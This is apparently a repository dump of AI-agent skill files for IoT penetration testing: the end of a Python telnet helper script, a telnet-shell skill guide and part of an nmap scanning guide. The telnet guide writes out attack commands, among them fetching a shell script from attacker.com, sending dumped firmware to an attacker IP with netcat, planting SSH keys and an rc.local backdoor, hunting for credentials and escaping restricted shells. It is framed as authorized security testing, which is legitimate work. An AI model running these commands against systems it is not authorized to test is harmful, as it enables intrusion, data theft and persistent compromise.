prompt_found, 268 | 'raw_output': raw_output[:200] + '...' if len(raw_output) > 200 else raw_output 269 | }) 270 | 271 | # Clean output if requested 272 | if clean: 273 | output = self._clean_output(raw_output, command) 274 | else: 275 | output = raw_output 276 | 277 | self._debug_print(f"Command completed. Success: {prompt_found}, Output length: {len(output)}") 278 | return output, prompt_found 279 | 280 | except Exception as e: 281 | self._debug_print(f"Error sending command: {e}") 282 | return "", False 283 | 284 | def send_commands(self, commands: List[str], delay: float = 0.5) -> List[dict]: 285 | """ 286 | Send multiple commands in sequence. 287 | 288 | Args: 289 | commands: List of commands to send 290 | delay: Delay between commands in seconds 291 | 292 | Returns: 293 | List of dictionaries with command results 294 | """ 295 | results = [] 296 | for command in commands: 297 | output, success = self.send_command(command) 298 | results.append({ 299 | 'command': command, 300 | 'output': output, 301 | 'success': success 302 | }) 303 | if delay > 0: 304 | time.sleep(delay) 305 | return results 306 | 307 | def interactive_mode(self): 308 | """ 309 | Enter interactive mode where user can type commands. 310 | Type 'exit' or Ctrl-C to quit. 311 | """ 312 | print(f"Interactive mode - connected to {self.host}:{self.port}") 313 | print("Type 'exit' or press Ctrl-C to quit") 314 | print("-" * 50) 315 | 316 | try: 317 | while True: 318 | try: 319 | command = input(">>> ") 320 | if command.strip().lower() in ('exit', 'quit'): 321 | break 322 | 323 | if not command.strip(): 324 | continue 325 | 326 | output, success = self.send_command(command) 327 | print(output) 328 | 329 | if not success: 330 | print("[WARNING] Command may have timed out or failed", file=sys.stderr) 331 | 332 | except EOFError: 333 | break 334 | 335 | except KeyboardInterrupt: 336 | print("\nExiting interactive mode...") 337 | 338 | 339 | def main(): 340 | """Main entry point for command-line usage.""" 341 | parser = argparse.ArgumentParser( 342 | description='Telnet Helper for IoT Remote Shell Interaction', 343 | formatter_class=argparse.RawDescriptionHelpFormatter, 344 | epilog=""" 345 | Examples: 346 | # Single command 347 | %(prog)s --host 192.168.1.100 --command "uname -a" 348 | 349 | # Custom port 350 | %(prog)s --host 192.168.1.100 --port 2222 --command "ps" 351 | 352 | # Interactive mode 353 | %(prog)s --host 192.168.1.100 --port 2222 --interactive 354 | 355 | # Batch commands from file 356 | %(prog)s --host 192.168.1.100 --script enum_system.txt 357 | 358 | # Custom timeout 359 | %(prog)s --host 192.168.1.100 --timeout 5 --command "find /" 360 | 361 | # Raw output (no cleaning) 362 | %(prog)s --host 192.168.1.100 --command "help" --raw 363 | 364 | # JSON output for scripting 365 | %(prog)s --host 192.168.1.100 --command "ifconfig" --json 366 | 367 | # Log all I/O to file (tail -f in another terminal to watch) 368 | %(prog)s --host 192.168.1.100 --command "ls" --logfile session.log 369 | """ 370 | ) 371 | 372 | # Connection arguments 373 | parser.add_argument('--host', '-H', required=True, 374 | help='Target host IP or hostname') 375 | parser.add_argument('--port', '-P', type=int, default=23, 376 | help='Telnet port (default: 23)') 377 | parser.add_argument('--timeout', '-t', type=float, default=3.0, 378 | help='Read timeout in seconds (default: 3.0)') 379 | parser.add_argument('--prompt', '-p', type=str, 380 | help='Custom prompt regex pattern') 381 | 382 | # Mode arguments (mutually exclusive) 383 | mode_group = parser.add_mutually_exclusive_group(required=True) 384 | mode_group.add_argument('--command', '-c', type=str, 385 | help='Single command to execute') 386 | mode_group.add_argument('--interactive', '-i', action='store_true', 387 | help='Enter interactive mode') 388 | mode_group.add_argument('--script', '-s', type=str, 389 | help='File containing commands to execute (one per line)') 390 | 391 | # Output arguments 392 | parser.add_argument('--raw', '-r', action='store_true', 393 | help='Output raw response (no cleaning)') 394 | parser.add_argument('--json', '-j', action='store_true', 395 | help='Output in JSON format') 396 | parser.add_argument('--logfile', '-l', type=str, default='/tmp/telnet_session.log', 397 | help='Log all I/O to file (default: /tmp/telnet_session.log)') 398 | parser.add_argument('--debug', action='store_true', 399 | help='Enable debug output') 400 | 401 | args = parser.parse_args() 402 | 403 | # Create telnet helper 404 | helper = TelnetHelper( 405 | host=args.host, 406 | port=args.port, 407 | timeout=args.timeout, 408 | prompt_pattern=args.prompt, 409 | debug=args.debug, 410 | logfile=args.logfile 411 | ) 412 | 413 | # Connect to device 414 | if not helper.connect(): 415 | sys.exit(1) 416 | 417 | try: 418 | if args.interactive: 419 | # Interactive mode 420 | helper.interactive_mode() 421 | 422 | elif args.command: 423 | # Single command mode 424 | output, success = helper.send_command(args.command, clean=not args.raw) 425 | 426 | if args.json: 427 | result = { 428 | 'command': args.command, 429 | 'output': output, 430 | 'success': success 431 | } 432 | print(json.dumps(result, indent=2)) 433 | else: 434 | print(output) 435 | 436 | sys.exit(0 if success else 1) 437 | 438 | elif args.script: 439 | # Batch script mode 440 | try: 441 | with open(args.script, 'r') as f: 442 | commands = [line.strip() for line in f if line.strip() and not line.startswith('#')] 443 | 444 | results = helper.send_commands(commands) 445 | 446 | if args.json: 447 | print(json.dumps(results, indent=2)) 448 | else: 449 | for i, result in enumerate(results, 1): 450 | print(f"\n{'='*50}") 451 | print(f"Command {i}: {result['command']}") 452 | print(f"{'='*50}") 453 | print(result['output']) 454 | if not result['success']: 455 | print("[WARNING] Command may have failed", file=sys.stderr) 456 | 457 | # Exit with error if any command failed 458 | if not all(r['success'] for r in results): 459 | sys.exit(1) 460 | 461 | except FileNotFoundError: 462 | print(f"Error: Script file '{args.script}' not found", file=sys.stderr) 463 | sys.exit(1) 464 | except IOError as e: 465 | print(f"Error reading script file: {e}", file=sys.stderr) 466 | sys.exit(1) 467 | 468 | finally: 469 | helper.disconnect() 470 | 471 | 472 | if __name__ == '__main__': 473 | main() 474 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: IoT Telnet Shell (telnetshell) 3 | description: Use telnet to interact with IoT device shells for pentesting operations including device enumeration, vulnerability discovery, credential testing, and post-exploitation. Use when the user needs to interact with network-accessible shells, IoT devices, or telnet services. 4 | --- 5 | 6 | # IoT Telnet Shell (telnetshell) 7 | 8 | This skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations. It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities. 9 | 10 | ## Prerequisites 11 | 12 | - Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`) 13 | - telnet client installed on the system (`sudo pacman -S inetutils` on Arch) 14 | - Network access to the target device's telnet port 15 | 16 | ## Recommended Approach: Telnet Helper Script 17 | 18 | **IMPORTANT**: This skill includes a Python helper script (`telnet_helper.py`) that provides a clean, reliable interface for telnet communication. **This is the RECOMMENDED method** for interacting with IoT devices. 19 | 20 | ### Default Session Logging 21 | 22 | **ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.** 23 | 24 | To observe what Claude is doing in real-time: 25 | ```bash 26 | # In a separate terminal, run: 27 | tail -f /tmp/telnet_session.log 28 | ``` 29 | 30 | This allows you to watch all telnet I/O as it happens without interfering with the connection. 31 | 32 | ### Why Use the Telnet Helper? 33 | 34 | The helper script solves many problems with direct telnet usage: 35 | - **Clean output**: Automatically removes command echoes, prompts, and ANSI codes 36 | - **Prompt detection**: Automatically detects and waits for device prompts 37 | - **Timeout handling**: Proper timeout management with no arbitrary sleeps 38 | - **Easy scripting**: Simple command-line interface for single commands or batch operations 39 | - **Session logging**: All I/O logged to `/tmp/telnet_session.log` for observation 40 | - **Reliable**: No issues with TTY requirements or background processes 41 | - **JSON output**: For programmatic parsing and tool chaining 42 | 43 | ### Quick Start with Telnet Helper 44 | 45 | **Single Command:** 46 | ```bash 47 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" 48 | ``` 49 | 50 | **Custom Port:** 51 | ```bash 52 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /" 53 | ``` 54 | 55 | **With Custom Prompt (recommended for known devices):** 56 | ```bash 57 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig" 58 | ``` 59 | 60 | **Interactive Mode:** 61 | ```bash 62 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive 63 | ``` 64 | 65 | **Batch Commands from File:** 66 | ```bash 67 | # Create a file with commands (one per line) 68 | echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt 69 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txt 70 | ``` 71 | 72 | **JSON Output (for parsing):** 73 | ```bash 74 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json 75 | ``` 76 | 77 | **Debug Mode:** 78 | ```bash 79 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debug 80 | ``` 81 | 82 | **Session Logging (for observation):** 83 | ```bash 84 | # Terminal 1 - Run with logging 85 | python3 .claude/skills/telnetshell/telnet_helper.py \ 86 | --host 192.168.1.100 \ 87 | --port 2222 \ 88 | --logfile /tmp/session.log \ 89 | --interactive 90 | 91 | # Terminal 2 - Watch the session in real-time 92 | tail -f /tmp/session.log 93 | ``` 94 | 95 | **Note:** See `OBSERVING_SESSIONS.md` for comprehensive guide on monitoring telnet sessions. 96 | 97 | ### Telnet Helper Options 98 | 99 | ``` 100 | Required (one of): 101 | --command, -c CMD Execute single command 102 | --interactive, -i Enter interactive mode 103 | --script, -s FILE Execute commands from file 104 | 105 | Connection Options: 106 | --host, -H HOST Target host IP or hostname (required) 107 | --port, -P PORT Telnet port (default: 23) 108 | --timeout, -t SECONDS Command timeout (default: 3.0) 109 | --prompt, -p PATTERN Custom prompt regex pattern 110 | 111 | Output Options: 112 | --raw, -r Don't clean output (show echoes, prompts) 113 | --json, -j Output in JSON format 114 | --logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log) 115 | --debug Show debug information 116 | ``` 117 | 118 | ### Common Prompt Patterns 119 | 120 | The helper script includes common prompt patterns, but you can specify custom ones: 121 | 122 | ```bash 123 | # BusyBox shell (common on IoT) 124 | --prompt "/\s*[#\$]\s*$" 125 | 126 | # Standard root/user prompts 127 | --prompt "^[#\$]\s*$" 128 | 129 | # Custom device 130 | --prompt "^MyDevice>\s*$" 131 | 132 | # Uniview cameras 133 | --prompt "^User@[^>]+>\s*$" 134 | ``` 135 | 136 | ### Device Enumeration Example with Telnet Helper 137 | 138 | Here's a complete example of safely enumerating a device: 139 | 140 | ```bash 141 | # Set variables for convenience 142 | HELPER="python3 .claude/skills/telnetshell/telnet_helper.py" 143 | HOST="192.168.1.100" 144 | PORT="2222" 145 | LOGFILE="/tmp/telnet_session.log" 146 | 147 | # System information 148 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a" 149 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version" 150 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo" 151 | 152 | # Check for BusyBox 153 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox" 154 | 155 | # Network configuration 156 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig" 157 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n" 158 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn" 159 | 160 | # Process listing (may need longer timeout) 161 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux" 162 | 163 | # File system exploration 164 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /" 165 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount" 166 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h" 167 | 168 | # Security assessment 169 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd" 170 | $HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null" 171 | ``` 172 | 173 | **IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile /tmp/telnet_session.log` in every command so the user can monitor activity with `tail -f /tmp/telnet_session.log`. 174 | 175 | ## Instructions 176 | 177 | ### 1. Connection Setup 178 | 179 | **Default connection:** 180 | - **Port**: 23 (standard telnet, override with `--port`) 181 | - **Timeout**: 3 seconds (override with `--timeout`) 182 | - **Logging**: `/tmp/telnet_session.log` by default 183 | 184 | **Common telnet ports on IoT devices:** 185 | - 23: Standard telnet port 186 | - 2222: Alternative telnet port (common on cameras) 187 | - 8023: Alternative telnet port 188 | - Custom ports: Check device documentation or nmap scan results 189 | 190 | ### 2. BusyBox Shells (Most IoT Devices) 191 | 192 | **IMPORTANT**: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality. 193 | 194 | **Identifying BusyBox:** 195 | ```bash 196 | # Check what shell you're using 197 | busybox 198 | busybox --help 199 | 200 | # Or check symlinks 201 | ls -la /bin/sh 202 | # Often shows: /bin/sh -> /bin/busybox 203 | 204 | # List available BusyBox applets 205 | busybox --list 206 | ``` 207 | 208 | **BusyBox Limitations:** 209 | - Many standard Linux commands may be simplified versions 210 | - Some common flags/options may not be available 211 | - Features like tab completion may be limited or absent 212 | - Some exploitation techniques that work on full Linux may not work 213 | 214 | **Common BusyBox commands available:** 215 | ```bash 216 | # Core utilities (usually available) 217 | cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown 218 | ps, kill, top, free, df, mount, umount 219 | grep, find, sed, awk (limited versions) 220 | ifconfig, route, ping, netstat, telnet 221 | vi (basic text editor - no syntax highlighting) 222 | 223 | # Check what's available 224 | busybox --list | sort 225 | ls /bin /sbin /usr/bin /usr/sbin 226 | ``` 227 | 228 | **BusyBox-specific considerations for pentesting:** 229 | - `ps` output format may differ from standard Linux 230 | - Some privilege escalation techniques require commands not in BusyBox 231 | - File permissions still work the same (SUID, sticky bits, etc.) 232 | - Networking tools are often present (telnet, wget, nc/netcat, ftpget) 233 | - Python/Perl/Ruby are usually NOT available (device storage constraints) 234 | 235 | **Useful BusyBox commands for enumeration:** 236 | ```bash 237 | # Check BusyBox version (may have known vulnerabilities) 238 | busybox | head -1 239 | 240 | # Network utilities often available 241 | nc -l -p 4444 # Netcat listener 242 | wget http://attacker.com/shell.sh 243 | ftpget server file 244 | telnet 192.168.1.1 245 | 246 | # httpd (web server) often included 247 | busybox httpd -p 8080 -h /tmp # Quick file sharing 248 | ``` 249 | 250 | ### 3. Device Enumeration 251 | 252 | Once you have shell access, gather the following information: 253 | 254 | **System Information:** 255 | ```bash 256 | # Kernel and system info 257 | uname -a 258 | cat /proc/version 259 | cat /proc/cpuinfo 260 | cat /proc/meminfo 261 | 262 | # Distribution/firmware info 263 | cat /etc/issue 264 | cat /etc/*release* 265 | cat /etc/*version* 266 | 267 | # Hostname and network 268 | hostname 269 | cat /etc/hostname 270 | ifconfig -a 271 | cat /etc/network/interfaces 272 | cat /etc/resolv.conf 273 | 274 | # Mounted filesystems 275 | mount 276 | cat /proc/mounts 277 | df -h 278 | 279 | # Running processes 280 | ps aux 281 | ps -ef 282 | top -b -n 1 283 | ``` 284 | 285 | **User and Permission Information:** 286 | ```bash 287 | # Current user context 288 | id 289 | whoami 290 | groups 291 | 292 | # User accounts 293 | cat /etc/passwd 294 | cat /etc/shadow # If readable - major security issue! 295 | cat /etc/group 296 | 297 | # Sudo/privilege info 298 | sudo -l 299 | cat /etc/sudoers 300 | ``` 301 | 302 | **Network Services:** 303 | ```bash 304 | # Listening services 305 | netstat -tulpn 306 | lsof -i 307 | 308 | # Firewall rules 309 | iptables -L -n -v 310 | cat /etc/iptables/* 311 | ``` 312 | 313 | **Interesting Files and Directories:** 314 | ```bash 315 | # Configuration files 316 | ls -la /etc/ 317 | find /etc/ -type f -readable 318 | 319 | # Web server configs 320 | ls -la /etc/nginx/ 321 | ls -la /etc/apache2/ 322 | ls -la /var/www/ 323 | 324 | # Credentials and keys 325 | find / -name "*.pem" 2>/dev/null 326 | find / -name "*.key" 2>/dev/null 327 | find / -name "*password*" 2>/dev/null 328 | find / -name "*credential*" 2>/dev/null 329 | grep -r "password" /etc/ 2>/dev/null 330 | 331 | # SUID/SGID binaries (privilege escalation vectors) 332 | find / -perm -4000 -type f 2>/dev/null 333 | find / -perm -2000 -type f 2>/dev/null 334 | 335 | # World-writable files/directories 336 | find / -perm -2 -type f 2>/dev/null 337 | find / -perm -2 -type d 2>/dev/null 338 | 339 | # Development/debugging tools 340 | which gdb gcc python perl ruby tcpdump 341 | ls /usr/bin/ /bin/ /sbin/ /usr/sbin/ 342 | ``` 343 | 344 | ### 4. Privilege Escalation (if not root) 345 | 346 | **Check for common vulnerabilities:** 347 | ```bash 348 | # Kernel exploits 349 | uname -r # Check kernel version for known exploits 350 | 351 | # Check for exploitable services 352 | ps aux | grep root 353 | 354 | # Writable service files 355 | find /etc/init.d/ -writable 2>/dev/null 356 | 357 | # Cron jobs 358 | crontab -l 359 | ls -la /etc/cron* 360 | cat /etc/crontab 361 | ``` 362 | 363 | ### 5. Persistence and Further Access 364 | 365 | **Establish additional access methods:** 366 | ```bash 367 | # Add SSH access (if SSH is available) 368 | mkdir -p /root/.ssh 369 | echo "your_ssh_public_key" >> /root/.ssh/authorized_keys 370 | chmod 600 /root/.ssh/authorized_keys 371 | chmod 700 /root/.ssh 372 | 373 | # Start SSH service (if not running) 374 | /etc/init.d/ssh start 375 | # or 376 | /etc/init.d/sshd start 377 | # or 378 | /etc/init.d/dropbear start # Common on embedded devices 379 | 380 | # Add to startup scripts 381 | echo "/path/to/backdoor &" >> /etc/rc.local 382 | ``` 383 | 384 | ### 6. Firmware Extraction 385 | 386 | **Extract firmware for offline analysis:** 387 | ```bash 388 | # Find MTD partitions (common on embedded devices) 389 | cat /proc/mtd 390 | cat /proc/partitions 391 | 392 | # Dump flash partitions 393 | dd if=/dev/mtd0 of=/tmp/bootloader.bin 394 | dd if=/dev/mtd1 of=/tmp/kernel.bin 395 | dd if=/dev/mtd2 of=/tmp/rootfs.bin 396 | 397 | # Copy to external storage or network 398 | # If network is available: 399 | nc attacker_ip 4444 < /tmp/rootfs.bin 400 | 401 | # If HTTP server is available: 402 | cd /tmp 403 | busybox httpd -p 8000 404 | # Then download from http://device_ip:8000/rootfs.bin 405 | ``` 406 | 407 | ## Common IoT Device Scenarios 408 | 409 | ### Scenario 1: No Authentication Shell 410 | ```bash 411 | # Connect - drops directly to root shell 412 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive 413 | # Enumerate and exploit 414 | ``` 415 | 416 | ### Scenario 2: Custom Port No-Auth Shell 417 | ```bash 418 | # Many IoT cameras use port 2222 419 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive 420 | ``` 421 | 422 | ### Scenario 3: Password-Protected Shell 423 | ```bash 424 | # If you encounter a password prompt, the helper will detect it 425 | # Try default credentials: 426 | # - root/root 427 | # - admin/admin 428 | # - root/(empty) 429 | # Search online for device-specific defaults 430 | ``` 431 | 432 | ### Scenario 4: Limited Shell Escape 433 | ```bash 434 | # If you get a limited shell: 435 | # Try common escape techniques: 436 | echo $SHELL 437 | /bin/sh 438 | /bin/bash 439 | vi # Then :!/bin/sh 440 | less /etc/passwd # Then !/bin/sh 441 | find / -exec /bin/sh \; 442 | awk 'BEGIN {system("/bin/sh")}' 443 | ``` 444 | 445 | ## Security Testing Checklist 446 | 447 | - [ ] Identify device and firmware version 448 | - [ ] Check for unauthenticated access 449 | - [ ] Test for default/weak credentials 450 | - [ ] Enumerate network services and open ports 451 | - [ ] Check for hardcoded credentials in files 452 | - [ ] Test for command injection vulnerabilities 453 | - [ ] Check file permissions (SUID, world-writable) 454 | - [ ] Check for outdated software with known CVEs 455 | - [ ] Test for privilege escalation vectors 456 | - [ ] Extract firmware for offline analysis 457 | - [ ] Document all findings with screenshots/logs 458 | 459 | ## Best Practices 460 | 461 | 1. **Always log your session**: Default logfile is `/tmp/telnet_session.log` 462 | 2. **Document everything**: Take notes on commands, responses, and findings 463 | 3. **Use batch scripts**: Create enumeration scripts for common tasks 464 | 4. **Research the device**: Look up known vulnerabilities, default credentials, and common issues 465 | 5. **Use proper authorization**: Only perform pentesting on devices you own or have explicit permission to test 466 | 6. **Be careful with destructive commands**: Avoid commands that could brick devices or corrupt data 467 | 7. **Monitor your session**: Use `tail -f` in another terminal to watch activity 468 | 469 | ## Troubleshooting 470 | 471 | **Problem: Connection refused** 472 | - Solution: Check if telnet service is running, verify port number, check firewall rules 473 | 474 | **Problem: Connection timeout** 475 | - Solution: Verify network connectivity, check if device is powered on, verify IP address 476 | 477 | **Problem: "Permission denied"** 478 | - Solution: Telnet service may require authentication, try default credentials 479 | 480 | **Problem: Commands not echoing** 481 | - Solution: Use `--raw` flag to see unfiltered output 482 | 483 | **Problem: Garbled output or wrong prompt detection** 484 | - Solution: Use `--prompt` flag with custom regex pattern for your specific device 485 | 486 | ## Pre-built Enumeration Scripts 487 | 488 | The skill includes pre-built enumeration scripts for common tasks: 489 | 490 | - `enum_system.txt`: System information gathering 491 | - `enum_network.txt`: Network configuration enumeration 492 | - `enum_files.txt`: File system exploration 493 | - `enum_security.txt`: Security-focused enumeration 494 | 495 | **Usage:** 496 | ```bash 497 | python3 .claude/skills/telnetshell/telnet_helper.py \ 498 | --host 192.168.1.100 \ 499 | --port 2222 \ 500 | --script .claude/skills/telnetshell/enum_system.txt 501 | ``` 502 | 503 | ## Example Usage 504 | 505 | ```bash 506 | # Basic connection to standard telnet port 507 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" 508 | 509 | # Connection to custom port (common for IoT cameras) 510 | python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /" 511 | 512 | # Interactive session with logging 513 | python3 .claude/skills/telnetshell/telnet_helper.py \ 514 | --host 192.168.1.100 \ 515 | --port 2222 \ 516 | --logfile /tmp/camera_session.log \ 517 | --interactive 518 | 519 | # Batch enumeration 520 | python3 .claude/skills/telnetshell/telnet_helper.py \ 521 | --host 192.168.1.100 \ 522 | --port 2222 \ 523 | --script enum_system.txt \ 524 | --json > results.json 525 | 526 | # Long-running command with custom timeout 527 | python3 .claude/skills/telnetshell/telnet_helper.py \ 528 | --host 192.168.1.100 \ 529 | --timeout 10 \ 530 | --command "find / -name '*.conf'" 531 | ``` 532 | 533 | ## References 534 | 535 | - [BusyBox Official Site](https://busybox.net/) 536 | - [BusyBox Command List](https://busybox.net/downloads/BusyBox.html) 537 | - IoT pentesting resources and vulnerability databases 538 | - Device-specific documentation and datasheets 539 | -------------------------------------------------------------------------------- /.claude/skills/nmap-scan/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Nmap Scan 3 | description: Professional network reconnaissance and port scanning using nmap. Supports various scan types (quick, full, UDP, stealth), service detection, vulnerability scanning, and NSE scripts. Use when you need to enumerate network services, detect versions, or perform network reconnaissance. 4 | --- 5 | 6 | # Nmap Scan - Professional Network Reconnaissance 7 | 8 | You are helping the user perform professional network reconnaissance and port scanning using nmap. This skill provides guidance for various scan types, output formats, and result analysis. 9 | 10 | ## Output Directory 11 | 12 | ### Directory Structure 13 | ```bash 14 | nmap-output/ 15 | ├── nmap-portscan.nmap # Initial fast port discovery 16 | ├── nmap-portscan.xml 17 | ├── nmap-portscan.gnmap 18 | ├── nmap-services.nmap # Detailed service detection on open ports 19 | ├── nmap-services.xml 20 | └── nmap-services.gnmap 21 | ``` 22 | 23 | **IMPORTANT**: Always save nmap output to an organized directory structure. By default, use `./nmap-output/` or specify a custom directory. 24 | 25 | ## Default Scanning Strategy 26 | 27 | **IMPORTANT**: Unless the user explicitly requests a different scan type, ALWAYS use this two-phase approach: 28 | 29 | ### Phase 1: Fast Port Discovery (Root SYN Scan) 30 | ```bash 31 | sudo nmap -p- -oA /nmap-portscan 32 | ``` 33 | - **Why sudo**: Running as root enables fast SYN scan (-sS is implicit) 34 | - **Why -p-**: Scans all 65535 ports quickly 35 | - **Duration**: Typically 1-3 minutes for SYN scan 36 | - **Output**: List of all open ports 37 | 38 | **Host Down Detection**: 39 | If the scan output contains "Note: Host seems down", automatically retry with: 40 | ```bash 41 | sudo nmap -p- -Pn -oA /nmap-portscan 42 | ``` 43 | - `-Pn`: Skip host discovery, treat host as online 44 | - Use this when firewalls block ping probes 45 | 46 | ### Phase 2: Targeted Service Detection 47 | After Phase 1 completes, parse the open ports and run: 48 | ```bash 49 | nmap -p -sV -sC -oA /nmap-services 50 | ``` 51 | - `-p `: Only scan the ports found to be open (e.g., `-p 23,80,443,554,8000`) 52 | - `-sV`: Service version detection 53 | - `-sC`: Run default NSE scripts for additional enumeration 54 | - **Duration**: Usually 1-3 minutes since only scanning known open ports 55 | 56 | ### Why This Strategy? 57 | 58 | 1. **Speed**: Fast SYN scan finds all open ports in 1-3 minutes 59 | 2. **Thoroughness**: Covers all 65535 ports, not just top 1000 60 | 3. **Efficiency**: Service detection only runs on confirmed open ports 61 | 4. **Accuracy**: Two-phase approach reduces false negatives 62 | 63 | ### Parsing Open Ports 64 | 65 | After Phase 1, extract open ports using: 66 | ```bash 67 | # Extract open ports from .gnmap file 68 | grep "Ports:" /nmap-portscan.gnmap | sed 's/.*Ports: //g' | sed 's|/|\n|g' | grep "open" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//' 69 | ``` 70 | 71 | Or parse from .nmap file: 72 | ```bash 73 | grep "^[0-9]" /nmap-portscan.nmap | grep "open" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//' 74 | ``` 75 | 76 | ## Implementation Workflow 77 | 78 | When the nmap-scan skill is invoked: 79 | 80 | 1. **Create output directory** 81 | ```bash 82 | OUTPUT_DIR="./nmap-output" 83 | mkdir -p "$OUTPUT_DIR" 84 | ``` 85 | 86 | 2. **Run Phase 1: Fast port discovery** 87 | ```bash 88 | sudo nmap -p- -oA "$OUTPUT_DIR/nmap-portscan" 89 | ``` 90 | 91 | 3. **Check for "Host seems down" error** 92 | ```bash 93 | if grep -q "Host seems down" "$OUTPUT_DIR/nmap-portscan.nmap"; then 94 | echo "Host appears down, retrying with -Pn flag..." 95 | sudo nmap -p- -Pn -oA "$OUTPUT_DIR/nmap-portscan" 96 | fi 97 | ``` 98 | 99 | 4. **Parse open ports from results** 100 | ```bash 101 | OPEN_PORTS=$(grep "^[0-9]" "$OUTPUT_DIR/nmap-portscan.nmap" | grep "open" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//') 102 | ``` 103 | 104 | 5. **Run Phase 2: Service detection on open ports** 105 | ```bash 106 | if [ -n "$OPEN_PORTS" ]; then 107 | nmap -p "$OPEN_PORTS" -sV -sC -oA "$OUTPUT_DIR/nmap-services" 108 | else 109 | echo "No open ports found, skipping service detection." 110 | fi 111 | ``` 112 | 113 | 6. **Report results location** 114 | ```bash 115 | echo "Scan complete. Results saved to: $OUTPUT_DIR" 116 | ``` 117 | 118 | ## Scan Types 119 | 120 | ### Quick Scan (Top 1000 Ports) 121 | Use for initial reconnaissance or when time is limited: 122 | ```bash 123 | nmap -sV -sC -oA 124 | ``` 125 | - `-sV`: Service version detection 126 | - `-sC`: Run default NSE scripts 127 | - `-oA`: Output in all formats (normal, XML, grepable) 128 | - Scans top 1000 most common ports 129 | - Typical duration: 1-3 minutes 130 | 131 | ### Comprehensive Scan (All Ports) 132 | Use for thorough assessment when all ports must be checked: 133 | ```bash 134 | nmap -sV -sC -p- -oA 135 | ``` 136 | - `-p-`: Scan all 65535 ports 137 | - Significantly longer duration (5-30+ minutes depending on target) 138 | - Use only when comprehensive coverage is required 139 | 140 | ### Stealth SYN Scan 141 | Use when trying to avoid detection (requires root/sudo): 142 | ```bash 143 | sudo nmap -sS -sV -sC -oA 144 | ``` 145 | - `-sS`: SYN stealth scan (doesn't complete TCP handshake) 146 | - Less likely to be logged by target 147 | - Requires root privileges 148 | 149 | ### UDP Scan 150 | Use when UDP services need to be enumerated: 151 | ```bash 152 | sudo nmap -sU --top-ports 100 -oA 153 | ``` 154 | - `-sU`: UDP scan 155 | - `--top-ports 100`: Scan top 100 UDP ports (UDP scanning is slow) 156 | - Common UDP services: DNS (53), SNMP (161), DHCP (67/68) 157 | - Very slow - use top-ports to limit scope 158 | 159 | ### Aggressive Scan 160 | Use for maximum information gathering (noisy): 161 | ```bash 162 | nmap -A -T4 -oA 163 | ``` 164 | - `-A`: Enable OS detection, version detection, script scanning, traceroute 165 | - `-T4`: Aggressive timing template (faster but more detectable) 166 | - Very noisy - will be detected by IDS/IPS 167 | - Use only with authorization 168 | 169 | ### Vulnerability Scan 170 | Use to check for known vulnerabilities: 171 | ```bash 172 | nmap -sV --script vuln -oA 173 | ``` 174 | - `--script vuln`: Run NSE vulnerability detection scripts 175 | - Checks for common CVEs and misconfigurations 176 | - Can be noisy and trigger alerts 177 | 178 | ### OS Detection 179 | Use to identify operating system: 180 | ```bash 181 | sudo nmap -O -oA 182 | ``` 183 | - `-O`: Enable OS detection 184 | - Requires root privileges 185 | - Uses TCP/IP stack fingerprinting 186 | 187 | ## Alternative Scan Types 188 | 189 | The following scan types are available if the user explicitly requests them instead of the default two-phase strategy: 190 | 191 | ### Quick Scan (Top 1000 Ports Only) 192 | Use ONLY if user explicitly requests a quick/fast scan: 193 | ```bash 194 | nmap -sV -sC -oA /nmap-quick 195 | ``` 196 | - `-sV`: Service version detection 197 | - `-sC`: Run default NSE scripts 198 | - `-oA`: Output in all formats (normal, XML, grepable) 199 | - Scans top 1000 most common ports ONLY 200 | - Typical duration: 1-3 minutes 201 | - **Limitation**: May miss services on non-standard ports 202 | 203 | ## Scan Workflow 204 